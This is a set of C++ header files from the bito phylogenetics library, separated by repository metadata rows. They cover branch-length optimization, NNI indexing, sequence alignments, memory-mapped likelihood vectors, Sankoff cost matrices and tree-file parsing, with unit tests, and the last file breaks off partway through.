#include "dag_data.hpp"
#include "optimization.hpp"
#include "substitution_model.hpp"
#include "tree.hpp"
class DAGBranchHandler {
public:
DAGBranchHandler(const size_t count,
std::optional<OptimizationMethod> method = std::nullopt);
DAGBranchHandler(GPDAG& dag, std::optional<OptimizationMethod> method = std::nullopt);
// ** Comparators
static int Compare(const DAGBranchHandler& lhs, const DAGBranchHandler& rhs);
friend bool operator==(const DAGBranchHandler& lhs, const DAGBranchHandler& rhs);
// ** Counts
size_t GetCount() { return GetBranchLengths().GetCount(); }
size_t GetSpareCount() { return GetBranchLengths().GetSpareCount(); }
size_t GetAllocCount() { return GetBranchLengths().GetAllocCount(); }
void SetCount(const size_t count) {
GetBranchLengths().SetCount(count);
GetBranchDifferences().SetCount(count);
}
void SetSpareCount(const size_t count) {
GetBranchLengths().SetSpareCount(count);
GetBranchDifferences().SetSpareCount(count);
}
void SetAllocCount(const size_t count) {
GetBranchLengths().SetAllocCount(count);
GetBranchDifferences().SetAllocCount(count);
}
// Number of optimization iterations called.
size_t GetOptimizationCount() const { return optimization_count_; }
// Reset optimization iterations to zero, and reset branch length differences to zero.
void ResetOptimizationCount() {
optimization_count_ = 0;
differences_.FillWithDefault();
}
// Add one optimization iteration to count.
void IncrementOptimizationCount() { optimization_count_++; }
// Checks if called current optimization iteration is the first.
bool IsFirstOptimization() const { return optimization_count_ == 0; }
// ** Access
// Get the size of the data vector.
size_t size() const { return branch_lengths_.size(); }
// Get underlying DAGData objects for Branch Lengths.
DAGEdgeDoubleData& GetBranchLengths() { return branch_lengths_; }
const DAGEdgeDoubleData& GetBranchLengths() const { return branch_lengths_; }
void SetBranchLengths(EigenVectorXd& branch_lengths) {
GetBranchLengths().SetDAGData(branch_lengths);
}
// Get underlying DAGData objects for Branch Differences.
DAGEdgeDoubleData& GetBranchDifferences() { return differences_; }
const DAGEdgeDoubleData& GetBranchDifferences() const { return differences_; }
void SetBranchDifferences(EigenVectorXd& differences) {
GetBranchDifferences().SetDAGData(differences);
}
// Get underlying EigenVector for Branch Lengths.
EigenVectorXd& GetBranchLengthData() { return branch_lengths_.GetData(); }
const EigenVectorXd& GetBranchLengthData() const { return branch_lengths_.GetData(); }
// Get underlying EigenVector for Branch Differences.
EigenVectorXd& GetBranchDifferenceData() { return differences_.GetData(); }
const EigenVectorXd& GetBranchDifferenceData() const {
return differences_.GetData();
}
// Access elements in data vector.
double& Get(const EdgeId edge_id) { return branch_lengths_(edge_id); }
const double& Get(const EdgeId edge_id) const { return branch_lengths_(edge_id); }
double& operator()(const EdgeId edge_id) { return Get(edge_id); }
const double& operator()(const EdgeId edge_id) const { return Get(edge_id); }
double& GetBranchDifference(const EdgeId edge_id) { return differences_(edge_id); }
const double& GetBranchDifference(const EdgeId edge_id) const {
return differences_(edge_id);
}
// References.
const bool HasDAG() const { return dag_ != nullptr; }
const void SetDAG(GPDAG& dag) { dag_ = &dag; }
const GPDAG& GetDAG() const {
Assert(HasDAG(), "Reference DAG cannot be accessed before it has been set.");
return *dag_;
}
const bool HasGraftDAG() const { return graft_dag_ != nullptr; }
const void SetGraftDAG(GraftDAG& graft_dag) { graft_dag_ = &graft_dag; }
const GraftDAG& GetGraftDAG() const {
Assert(HasGraftDAG(),
"Reference GraftDAG cannot be accessed before it has been set.");
return *graft_dag_;
}
// Method used for branch length optimization.
void SetOptimizationMethod(const OptimizationMethod method) {
optimization_method_ = method;
}
OptimizationMethod GetOptimizationMethod() const { return optimization_method_; }
// Set number of significant digits of precision used in branch length optimization.
void SetSignificantDigitsForOptimization(int significant_digits) {
significant_digits_for_optimization_ = significant_digits;
}
double GetSignificantDigitsForOptimization() const {
return significant_digits_for_optimization_;
}
// Set initial values for branch length optimization.
void SetDefaultBranchLength(double default_branch_length) {
branch_lengths_.SetDefaultValue(default_branch_length);
}
double GetDefaultBranchLength() const { return branch_lengths_.GetDefaultValue(); }
// ** Resize
// Resize using given count.
void Resize(std::optional<const size_t> edge_count = std::nullopt,
std::optional<const size_t> spare_count = std::nullopt,
std::optional<const size_t> explicit_alloc = std::nullopt,
std::optional<const Reindexer> reindexer = std::nullopt) {
branch_lengths_.Resize(edge_count, spare_count, explicit_alloc, reindexer);
differences_.Resize(edge_count, spare_count, explicit_alloc, reindexer);
}
// Resize using reference DAG.
void Resize(std::optional<const size_t> explicit_alloc = std::nullopt,
std::optional<const Reindexer> reindexer = std::nullopt) {
branch_lengths_.Resize(GetDAG(), explicit_alloc, reindexer);
differences_.Resize(GetDAG(), explicit_alloc, reindexer);
}
// ** Evaluation Functions
// Each optimization method needs an evaluation function should take in an edge, its
// parent and child nodes, and a branch length, and return a set of specified values
// according to the optimization method, such as the log likelihood and its
// derivatives.
// - Takes the following args: (1) focal EdgeId, (2) rootward PVId (parent node's
// RFocal PV), (3) leafward PVId (child node's P PV), (4) log branch length of focal
// edge.
using LogLikelihoodAndDerivativeFunc =
std::function<DoublePair(EdgeId, PVId, PVId, double)>;
using LogLikelihoodAndFirstTwoDerivativesFunc =
std::function<Tuple3<double>(EdgeId, PVId, PVId, double)>;
using NegLogLikelihoodFunc = std::function<double(EdgeId, PVId, PVId, double)>;
using NegLogLikelihoodAndDerivativeFunc =
std::function<DoublePair(EdgeId, PVId, PVId, double)>;
// Set helper function for Nongradient Brent. Function takes a branch length and
// returns the negative log likelihood.
void SetBrentFunc(NegLogLikelihoodFunc brent_nongrad_func) {
brent_nongrad_func_ = brent_nongrad_func;
}
NegLogLikelihoodFunc GetBrentFunc() { return brent_nongrad_func_; }
// Set helper function for Gradient Brent. Function takes a branch length and returns
// the negative log likelihood and the first derivative.
void SetBrentWithGradientFunc(NegLogLikelihoodAndDerivativeFunc brent_grad_func) {
brent_grad_func_ = brent_grad_func;
}
NegLogLikelihoodAndDerivativeFunc GetBrentWithGradientFunc() {
return brent_grad_func_;
}
// Set helper function for Gradient Ascent. Function should return the log likelihood
// and the first derivative.
void SetGradientAscentFunc(LogLikelihoodAndDerivativeFunc gradient_ascent_func) {
gradient_ascent_func_ = gradient_ascent_func;
}
LogLikelihoodAndDerivativeFunc GetGradientAscentFunc() {
return gradient_ascent_func_;
}
// Set helper function for Gradient Ascent. Function takes a log branch length and
// returns the log likelihood and the first derivative.
void SetLogSpaceGradientAscentFunc(
LogLikelihoodAndDerivativeFunc logspace_gradient_ascent_func) {
logspace_gradient_ascent_func_ = logspace_gradient_ascent_func;
}
LogLikelihoodAndDerivativeFunc GetLogSpaceGradientAscentFunc() {
return logspace_gradient_ascent_func_;
}
// Set helper function for Newton-Raphson. Function takes a log branch length and
// returns the log likelihood and the first two derivatives.
void SetNewtonRaphsonFunc(
LogLikelihoodAndFirstTwoDerivativesFunc newton_raphson_func) {
newton_raphson_func_ = newton_raphson_func;
}
LogLikelihoodAndFirstTwoDerivativesFunc GetNewtonRaphsonFunc() {
return newton_raphson_func_;
}
// ** Branch Length Optimization
// Performs optimization on given branch. Parent_id expects the parent node's RFocal
// PV. Child_id expects the child node's P PV.
void OptimizeBranchLength(const EdgeId edge_id, const PVId parent_rfocal_pvid,
const PVId child_p_pvid,
const bool check_branch_convergence = true);
// ** Branch Length Map
// Build a map from PCSP bitset to branch length.
using BranchLengthMap = std::map<Bitset, double>;
BranchLengthMap BuildBranchLengthMap(const GPDAG& dag) const;
// Copy over branch lengths from map by corresponding PCSPs. Only applies branch
// lengths for PCSPs which occur in DAG, all others left unchanged. All edges in map
// must exist in dag.
void ApplyBranchLengthMap(const BranchLengthMap& branch_length_map, const GPDAG& dag);
// ** Static Functions
// Builds a tree using given branch lengths on a given topology. For each edge, builds
// out PCSP bitset to find corresponding DAG EdgeId, to find branch length.
static RootedTree BuildTreeWithBranchLengthsFromTopology(
const GPDAG& dag, const DAGBranchHandler& dag_branch_handler,
const Node::Topology& topology);
// Copies branch lengths from one handler to another. Base DAG of dest handler must be
// a subgraph of src handler.
static void CopyOverBranchLengths(const DAGBranchHandler& src,
DAGBranchHandler& dest);
protected:
// ** Branch Length Optimization Helpers
void BrentOptimization(const EdgeId edge_id, const PVId parent_id,
const PVId child_id);
void BrentOptimizationWithGradients(const EdgeId edge_id, const PVId parent_id,
const PVId child_id);
void GradientAscentOptimization(const EdgeId edge_id, const PVId parent_id,
const PVId child_id);
void LogSpaceGradientAscentOptimization(const EdgeId edge_id, const PVId parent_id,
const PVId child_id);
void NewtonRaphsonOptimization(const EdgeId edge_id, const PVId parent_id,
const PVId child_id);
// Branch Lengths.
DAGEdgeDoubleData branch_lengths_;
// Tracks differences between branch length over different iterations of
// optimization to test for edge-wise convergence.
DAGEdgeDoubleData differences_;
// Unowned DAG reference.
GPDAG* dag_ = nullptr;
// Unowned GraftDAG reference.
GraftDAG* graft_dag_ = nullptr;
// Optimization pass counter. Tracks number of iterations of optimization.
size_t optimization_count_ = 0;
// Method used in branch length optimization.
OptimizationMethod optimization_method_ = OptimizationMethod::BrentOptimization;
// Default branch length set at initialization. Current branch lengths are stored
// in branch_lengths_.
static constexpr double init_default_branch_length_ = 0.1;
// Default difference set at initialization. Current branch lengths are stored
// in differences_.
static constexpr double init_default_difference_ = 0.0;
// Absolute lower bound for possible branch lengths during optimization (in log
// space).
static constexpr double min_log_branch_length_ = -13.9;
// Absolute upper bound for possible branch lengths during optimization (in log
// space).
static constexpr double max_log_branch_length_ = 1.1;
// Precision used for checking convergence of branch length optimization.
// In the non-Brent optimization methods, significant digits will be used to
// determine convergence through relative tolerance, i.e. measuring difference
// from previous branch length values until the absolute difference is below
// 10^(-significant_digits_for_optimization_).
// Brent optimization does not define convergence through relative tolerance,
// rather convergence based on tightness of the brackets that it adapts during
// optimization. This variable thus represents the "number of bits precision to
// which the minima should be found". When testing on sample datasets, we found that
// setting the value to 10 was a good compromise between speed and precision for
// Brent. See more on Brent optimization here:
// https://www.boost.org/doc/libs/1_79_0/libs/math/doc/html/math_toolkit/brent_minima.html
int significant_digits_for_optimization_ = 10;
double relative_tolerance_for_optimization_ = 1e-4;
double denominator_tolerance_for_newton_ = 1e-10;
double step_size_for_optimization_ = 5e-4;
double step_size_for_log_space_optimization_ = 1.0005;
// Number of iterations allowed for branch length optimization.
size_t max_iter_for_optimization_ = 1000;
double branch_length_difference_threshold_ = 1e-15;
// Evaluation Functions
NegLogLikelihoodFunc brent_nongrad_func_ = nullptr;
NegLogLikelihoodAndDerivativeFunc brent_grad_func_ = nullptr;
LogLikelihoodAndDerivativeFunc gradient_ascent_func_ = nullptr;
LogLikelihoodAndDerivativeFunc logspace_gradient_ascent_func_ = nullptr;
LogLikelihoodAndFirstTwoDerivativesFunc newton_raphson_func_ = nullptr;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
#endif // DOCTEST_LIBRARY_INCLUDED
| 13,968
|
C++
|
.h
| 270
| 47.181481
| 92
| 0.748701
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,112
|
nni_engine_key_index.hpp
|
phylovi_bito/src/nni_engine_key_index.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// NNI Engine Key Index
// Map for storing important key indices for NNI Likelihood computation of proposed
// NNIs. Creates a mapping of specified NodeId, EdgeId, and PVIds from pre-NNI to
// post-NNI.
#pragma once
#include "sugar.hpp"
#include "subsplit_dag_storage.hpp"
// ** Key Indexing
// These function finds mapping from current NNIs contained in DAG to proposed NNI.
enum class NNIEngineKeyIndex : size_t {
Parent_Id,
Child_Id,
Edge,
Parent_RHat,
Parent_RFocal,
Parent_PHatSister,
Child_P,
Child_PHatLeft,
Child_PHatRight,
};
static const size_t NNIEngineKeyIndexCount = 9;
class NNIEngineKeyIndexEnum
: public EnumWrapper<NNIEngineKeyIndex, size_t, NNIEngineKeyIndexCount,
NNIEngineKeyIndex::Parent_Id,
NNIEngineKeyIndex::Child_PHatRight> {};
using NNIEngineKeyIndexMap = NNIEngineKeyIndexEnum::Array<size_t>;
using NNIEngineKeyIndexMapPair = std::pair<NNIEngineKeyIndexMap, NNIEngineKeyIndexMap>;
using NNIEngineKeyIndexPairArray =
std::array<std::pair<NNIEngineKeyIndex, NNIEngineKeyIndex>, 3>;
enum class NNIEngineNodeIndex : size_t {
Grandparent,
Parent,
Child,
Sister,
LeftChild,
RightChild,
};
static const size_t NNIEngineNodeIndexCount = 6;
class NNIEngineNodeIndexEnum
: public EnumWrapper<NNIEngineNodeIndex, size_t, NNIEngineNodeIndexCount,
NNIEngineNodeIndex::Grandparent,
NNIEngineNodeIndex::RightChild> {};
using NNIEngineNodeIndexMap = NNIEngineNodeIndexEnum::Array<NodeId>;
enum class NNIEngineEdgeIndex : size_t {
Parent,
Central,
Sister,
LeftChild,
RightChild
};
static const size_t NNIEngineEdgeIndexCount = 5;
class NNIEngineEdgeIndexEnum
: public EnumWrapper<NNIEngineEdgeIndex, size_t, NNIEngineEdgeIndexCount,
NNIEngineEdgeIndex::Parent, NNIEngineEdgeIndex::RightChild> {};
using NNIEngineEdgeIndexMap = NNIEngineEdgeIndexEnum::Array<EdgeId>;
| 2,088
|
C++
|
.h
| 58
| 31.775862
| 88
| 0.757411
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,113
|
alignment.hpp
|
phylovi_bito/src/alignment.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <string>
#include <utility>
#include "sugar.hpp"
class Alignment {
public:
Alignment() = default;
explicit Alignment(StringStringMap data) : data_(std::move(data)) {}
// Return map of taxon names to sequence alignments.
StringStringMap Data() const { return data_; }
// Return list of names.
std::set<std::string> GetNames() const;
// Number of taxon sequences in data map.
size_t SequenceCount() const { return data_.size(); }
// The length of the sequence alignments.
size_t Length() const;
// Compare if alignments have same name and sequence data.
bool operator==(const Alignment& other) const { return data_ == other.Data(); }
// Is the alignment non-empty and do all sequences have the same length?
bool IsValid() const;
// Get alignment sequence by taxon name.
const std::string& at(const std::string& taxon) const;
// Load fasta file into Alignment.
static Alignment ReadFasta(const std::string& fname);
// Create a new alignment
Alignment ExtractSingleColumnAlignment(size_t which_column) const;
static Alignment HelloAlignment() {
return Alignment({{"mars", "CCGAG-AGCAGCAATGGAT-GAGGCATGGCG"},
{"saturn", "GCGCGCAGCTGCTGTAGATGGAGGCATGACG"},
{"jupiter", "GCGCGCAGCAGCTGTGGATGGAAGGATGACG"}});
}
private:
// - Map of alignments: [ taxon name -> alignment sequence ]
StringStringMap data_;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("Alignment") {
auto alignment = Alignment::ReadFasta("data/hello.fasta");
CHECK_EQ(alignment, Alignment::HelloAlignment());
CHECK(alignment.IsValid());
CHECK_THROWS(alignment.ExtractSingleColumnAlignment(31));
Alignment first_col_expected =
Alignment({{"mars", "C"}, {"saturn", "G"}, {"jupiter", "G"}});
CHECK_EQ(alignment.ExtractSingleColumnAlignment(0), first_col_expected);
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 2,024
|
C++
|
.h
| 48
| 38.583333
| 81
| 0.721545
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,114
|
mmapped_plv.hpp
|
phylovi_bito/src/mmapped_plv.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// RAII class for partial likelihood vectors that are mmapped to disk.
//
// This class is to allocate a very large partial likelihood vector in virtual memory
// and then cut it up (via Subdivide) into a vector of partial likelihood vectors.
#pragma once
#include "eigen_sugar.hpp"
#include "mmapped_matrix.hpp"
using NucleotidePLV = Eigen::Matrix<double, 4, Eigen::Dynamic, Eigen::ColMajor>;
using NucleotidePLVRef = Eigen::Ref<NucleotidePLV>;
using NucleotidePLVRefVector = std::vector<NucleotidePLVRef>;
class MmappedNucleotidePLV {
public:
constexpr static Eigen::Index base_count_ = 4;
MmappedNucleotidePLV(const std::string &file_path, Eigen::Index total_plv_length)
: mmapped_matrix_(file_path, base_count_, total_plv_length){};
void Resize(Eigen::Index total_plv_length) {
mmapped_matrix_.ResizeMMap(base_count_, total_plv_length);
}
NucleotidePLVRefVector Subdivide(size_t into_count) {
Assert(into_count > 0, "into_count is zero in MmappedNucleotidePLV::Subdivide.");
auto entire_plv = mmapped_matrix_.Get();
const auto total_plv_length = entire_plv.cols();
Assert(total_plv_length % into_count == 0,
"into_count isn't a multiple of total PLV length in "
"MmappedNucleotidePLV::Subdivide.");
const size_t block_length = total_plv_length / into_count;
NucleotidePLVRefVector sub_plvs;
sub_plvs.reserve(into_count);
for (size_t idx = 0; idx < into_count; ++idx) {
sub_plvs.push_back(
entire_plv.block(0, idx * block_length, base_count_, block_length));
}
return sub_plvs;
}
size_t ByteCount() const { return mmapped_matrix_.ByteCount(); }
private:
MmappedMatrix<NucleotidePLV> mmapped_matrix_;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("MmappedNucleotidePLV") {
MmappedNucleotidePLV mmapped_plv("_ignore/mmapped_plv.data", 10);
auto plvs = mmapped_plv.Subdivide(2);
for (const auto &plv : plvs) {
CHECK_EQ(plv.rows(), MmappedNucleotidePLV::base_count_);
CHECK_EQ(plv.cols(), 5);
}
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 2,188
|
C++
|
.h
| 51
| 39.313725
| 85
| 0.728726
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,115
|
sankoff_matrix.hpp
|
phylovi_bito/src/sankoff_matrix.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// Cost Matrix for Sankoff Algorithm
// cost_matrix[i][j] is the cost of mutating from parent state i to child state j
#pragma once
#include "eigen_sugar.hpp"
#include "sugar.hpp"
using CostMatrix = Eigen::Matrix<double, 4, 4>;
class SankoffMatrix {
public:
static const size_t state_count = 4;
// default matrix is all ones except for zeroes on the diagonal
SankoffMatrix() : cost_matrix_(CostMatrix()) {
cost_matrix_.setOnes();
for (size_t state = 0; state < state_count; state++) {
cost_matrix_(state, state) = 0.;
}
};
SankoffMatrix(CostMatrix cost_matrix) {
for (size_t state = 0; state < state_count; state++) {
Assert(fabs(cost_matrix(state, state) - 0.) < 1e-10,
"Diagnonal of cost matrix should be 0.");
}
cost_matrix_ = std::move(cost_matrix);
}
void UpdateMatrix(size_t parent_state, size_t child_state, double cost) {
Assert(parent_state != child_state,
"Mutating from state " + std::to_string(parent_state) + " to state " +
std::to_string(child_state) + " should have cost of 0.");
cost_matrix_(parent_state, child_state) = cost;
};
double GetCost(size_t parent_state, size_t child_state) {
return cost_matrix_(parent_state, child_state);
};
CostMatrix GetMatrix() { return cost_matrix_; };
private:
CostMatrix cost_matrix_;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
enum Nucleotides { A, C, G, T };
TEST_CASE("SankoffMatrix: Testing SankoffMatrix Getter/Setter Methods") {
auto cm = SankoffMatrix();
CHECK_LT(fabs(cm.GetCost(0, 0) - 0.), 1e-10);
CHECK_LT(fabs(cm.GetCost(G, C) - 1.), 1e-10);
cm.UpdateMatrix(A, G, 3.);
auto test_matrix = Eigen::Matrix<double, 4, 4>();
test_matrix << 0., 1., 3., 1., 1., 0., 1., 1., 1., 1., 0., 1., 1., 1., 1., 0.;
CHECK(test_matrix.isApprox(cm.GetMatrix()));
CHECK_LT(fabs(cm.GetCost(A, G) - 3.), 1e-10);
CHECK_THROWS(cm.UpdateMatrix(G, G, 3.));
}
TEST_CASE("SankoffMatrix: Create SankoffMatrix from given cost matrix") {
auto costs = Eigen::Matrix<double, 4, 4>();
costs << 0., 2.5, 1., 2.5, 2.5, 0., 2.5, 1., 1., 2.5, 0., 2.5, 2.5, 1., 2.5, 0.;
auto cm = SankoffMatrix(costs);
CHECK_LT(fabs(cm.GetCost(A, C) - 2.5), 1e-10);
auto costs_invalid = Eigen::Matrix<double, 4, 4>();
// non-zero values on diagonal
costs_invalid << 1., 2., 3., 4., 5., 6., 7., 8., 9., 10., 11., 12., 13., 14., 15.,
16.;
CHECK_THROWS(new SankoffMatrix(costs_invalid));
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 2,615
|
C++
|
.h
| 64
| 37.265625
| 84
| 0.648148
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,116
|
driver.hpp
|
phylovi_bito/src/driver.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// This class drives tree parsing.
#pragma once
#include <map>
#include <memory>
#include <string>
#include <vector>
#include "parser.hpp"
#include "sugar.hpp"
#include "tree_collection.hpp"
// Give Flex the prototype of yylex we want ...
#define YY_DECL yy::parser::symbol_type yylex(Driver& drv)
// ... and declare it for the parser's sake.
YY_DECL;
// Conducting the scanning and parsing of trees.
// Note that this class is only for parsing a collection of trees on the same
// taxon set.
class Driver {
public:
Driver();
// These member variables are public so that the parser and lexer can access them.
// Nevertheless, the reasonable thing to do is to interact with this class from the
// outside using the public method interface below.
// The next available id for parsing the first tree.
uint32_t next_id_;
// Do we want to enforce taxa IDs to be alphabetically sorted according to their
// names?
bool sort_taxa_;
// Do we already have the taxon names in taxa_? If not, they get initialized with the
// first tree parsed.
bool taxa_complete_;
// Debug level for parser.
int trace_parsing_;
// Whether to generate scanner debug traces.
bool trace_scanning_;
// The most recent tree parsed.
std::shared_ptr<Tree> latest_tree_;
// Map from taxon names to their numerical identifiers.
std::map<std::string, uint32_t> taxa_;
// The token's location, used by the scanner to give good debug info.
TagDoubleMap branch_lengths_;
// The token's location, used by the scanner to give good debug info.
yy::location location_;
// These three parsing methods also remove quotes from Newick strings and Nexus files.
// Make a parser and then parse a string for a one-off parsing.
TreeCollection ParseString(const std::string& s);
// Run the parser on a Newick file.
TreeCollection ParseNewickFile(const std::string& fname);
// Run the parser on a gzip-ed Newick file.
TreeCollection ParseNewickFileGZ(const std::string& fname);
// Run the parser on a Nexus file. The Nexus file must have a translate block, and the
// leaf tags are assigned according to the order of names in the translate block.
TreeCollection ParseNexusFile(const std::string& fname);
// Run the parser on a gzip-ed Nexus file. Check ParseNexusFile() for details.
TreeCollection ParseNexusFileGZ(const std::string& fname);
// Clear out stored state.
void Clear();
// Make the map from the edge tags of the tree to the taxon names from taxa_.
TagStringMap TagTaxonMap();
// Set whether to sort taxon IDs in map according to taxon names.
void SetSortTaxa(const bool taxa_sorted) { sort_taxa_ = taxa_sorted; }
// Set taxon map.
void SetTaxa(const std::map<std::string, uint32_t> taxa);
private:
// Scan a string with flex.
void ScanString(const std::string& str);
// Parse a string with an existing parser object.
Tree ParseString(yy::parser* parser_instance, const std::string& str);
// Run the parser on a Newick stream.
TreeCollection ParseNewick(std::istream& in);
// Runs ParseNewick() and dequotes the resulting trees.
TreeCollection ParseAndDequoteNewick(std::istream& in);
// Run the parser on a Nexus stream.
TreeCollection ParseNexus(std::istream& in);
// Sort taxa map so that IDs correspond to name's sorted order.
void SortTaxa();
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("Driver") {
Driver driver;
std::vector<std::string> newicks = {
"(a:0,b:0,c:0,d:0):0;",
"((b:0,a:0):0,c:0):0;",
"((a:1.1,b:2):0.4,c:3):0;",
"(x:0,(a:1.1,(b:2,(quack:0.1,duck:0):0):0):0,c:3):1.1;",
};
for (const auto& newick : newicks) {
auto collection = driver.ParseString(newick);
CHECK_EQ(newick, collection.Trees()[0].Newick(collection.TagTaxonMap()));
}
driver.Clear();
// Note that the order of the taxa is given by the order in the translate table, not
// by the short names. We use that here to make sure that the ordering of the taxa is
// the same as that in the newick file below so that they can be compared.
auto nexus_collection = driver.ParseNexusFile("data/DS1.subsampled_10.t.reordered");
CHECK_EQ(nexus_collection.TreeCount(), 10);
driver.Clear();
auto newick_collection = driver.ParseNewickFile("data/DS1.subsampled_10.t.nwk");
CHECK_EQ(nexus_collection, newick_collection);
driver.Clear();
auto newick_collection_gz =
driver.ParseNewickFileGZ("data/DS1.subsampled_10.t.nwk.gz");
CHECK_EQ(nexus_collection, newick_collection_gz);
driver.Clear();
auto five_taxon = driver.ParseNewickFile("data/five_taxon_unrooted.nwk");
std::vector<std::string> correct_five_taxon_names({"x0", "x1", "x2", "x3", "x4"});
CHECK_EQ(five_taxon.TaxonNames(), correct_five_taxon_names);
// Check that we can parse BEAST trees with [&comments], and that the different
// formatting of the translate block doesn't trip us up.
auto beast_nexus = driver.ParseNexusFile("data/test_beast_tree_parsing.nexus");
// These are the taxa, in order, taken directly from the nexus file:
StringVector beast_taxa = {
"aDuckA_1976", "aDuckB_1977", "aItaly_1987", "aMallard_1985",
"hCHR_1983", "hCambr_1939", "hFortMon_1947", "hKiev_1979",
"hLenin_1954", "hMongol_1985", "hMongol_1991", "hNWS_1933",
"hPR_1934", "hSCar_1918.00", "hScot_1994", "hSuita_1989",
"hUSSR_1977", "sEhime_1980", "sIllino_1963", "sIowa_1930",
"sNebrask_1992", "sNewJers_1976", "sStHya_1991", "sWiscons_1961",
"sWiscons_1.998e3"};
CHECK_EQ(beast_nexus.TaxonNames(), beast_taxa);
// Check that we got the whole tree.
for (const auto& [topology, count] : beast_nexus.TopologyCounter()) {
std::ignore = count;
CHECK_EQ(topology->LeafCount(), beast_taxa.size());
}
auto beast_nexus_gz =
driver.ParseNexusFileGZ("data/test_beast_tree_parsing.nexus.gz");
CHECK_EQ(beast_nexus, beast_nexus_gz);
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 6,082
|
C++
|
.h
| 132
| 42.916667
| 88
| 0.713997
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,117
|
generic_sbn_instance.hpp
|
phylovi_bito/src/generic_sbn_instance.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// This is a shared parent class for the rooted and unrooted SBN instances, templated on
// the type of trees and SBN support we need.
//
// The idea is to have as much in here as possible, which in practice means everything
// that doesn't require explicit reference to a specific tree type. Note that this
// excludes SBN training, which is different based on if we are thinking of trees as
// rooted or unrooted.
#pragma once
#include "ProgressBar.hpp"
#include "alignment.hpp"
#include "csv.hpp"
#include "engine.hpp"
#include "mersenne_twister.hpp"
#include "numerical_utils.hpp"
#include "psp_indexer.hpp"
#include "rooted_sbn_support.hpp"
#include "sbn_probability.hpp"
#include "unrooted_sbn_support.hpp"
#include "phylo_flags.hpp"
#include "phylo_model.hpp"
#include "phylo_gradient.hpp"
template <typename TTreeCollection, typename TSBNSupport,
typename TIndexerRepresentation>
class GenericSBNInstance {
static_assert(
(std::is_same<TTreeCollection, RootedTreeCollection>::value &&
std::is_same<TSBNSupport, RootedSBNSupport>::value &&
std::is_same<TIndexerRepresentation, RootedIndexerRepresentation>::value) ||
(std::is_same<TTreeCollection, UnrootedTreeCollection>::value &&
std::is_same<TSBNSupport, UnrootedSBNSupport>::value &&
std::is_same<TIndexerRepresentation, UnrootedIndexerRepresentation>::value));
public:
// A Range is a range of values of our vector using 0-indexed Python/Numpy slice
// notation, such that if we have the range (1, 3), that refers to the items with
// 0-index 1 and 2. Said another way, these are considered half-open intervals
// [start, end).
using Range = std::pair<size_t, size_t>;
using RangeVector = std::vector<Range>;
// The Primary Split Pair indexer.
PSPIndexer psp_indexer_;
// A vector that contains all of the SBN-related probabilities.
EigenVectorXd sbn_parameters_;
// The trees in our SBNInstance.
TTreeCollection tree_collection_;
// ** Initialization and status
explicit GenericSBNInstance(std::string name)
: name_(std::move(name)), rescaling_(false) {}
size_t TaxonCount() const { return tree_collection_.TaxonCount(); }
size_t TreeCount() const { return tree_collection_.TreeCount(); }
const TagStringMap &TagTaxonMap() const { return tree_collection_.TagTaxonMap(); }
const StringVector &TaxonNames() const { return sbn_support_.TaxonNames(); }
const TSBNSupport &SBNSupport() const { return sbn_support_; }
EigenConstVectorXdRef SBNParameters() const { return sbn_parameters_; }
// Return a raw pointer to the engine if it's available.
Engine *GetEngine() const {
if (engine_ != nullptr) {
return engine_.get();
}
// else
Failwith(
"Engine not available. Call PrepareForPhyloLikelihood to make an "
"engine for phylogenetic likelihood computation computation.");
}
void PrintStatus() {
std::cout << "Status for instance '" << name_ << "':\n";
if (TreeCount()) {
std::cout << TreeCount() << " unique tree topologies loaded on " << TaxonCount()
<< " leaves.\n";
} else {
std::cout << "No trees loaded.\n";
}
std::cout << alignment_.Data().size() << " sequences loaded.\n";
}
BitsetSizeDict RootsplitCounterOf(const Node::TopologyCounter &topologies) const {
return TSBNSupport::RootsplitCounterOf(topologies);
}
PCSPCounter PCSPCounterOf(const Node::TopologyCounter &topologies) const {
return TSBNSupport::PCSPCounterOf(topologies);
}
StringVector PrettyIndexer() const { return sbn_support_.PrettyIndexer(); }
Node::TopologyCounter TopologyCounter() const {
return tree_collection_.TopologyCounter();
}
// ** SBN-related items
void SetSBNSupport(TSBNSupport &&sbn_support) {
sbn_support_ = std::move(sbn_support);
sbn_parameters_.resize(sbn_support_.GPCSPCount());
sbn_parameters_.setOnes();
psp_indexer_ = sbn_support_.BuildPSPIndexer();
}
// Use the loaded trees to set up the TopologyCounter, SBNSupport, etc.
void ProcessLoadedTrees() {
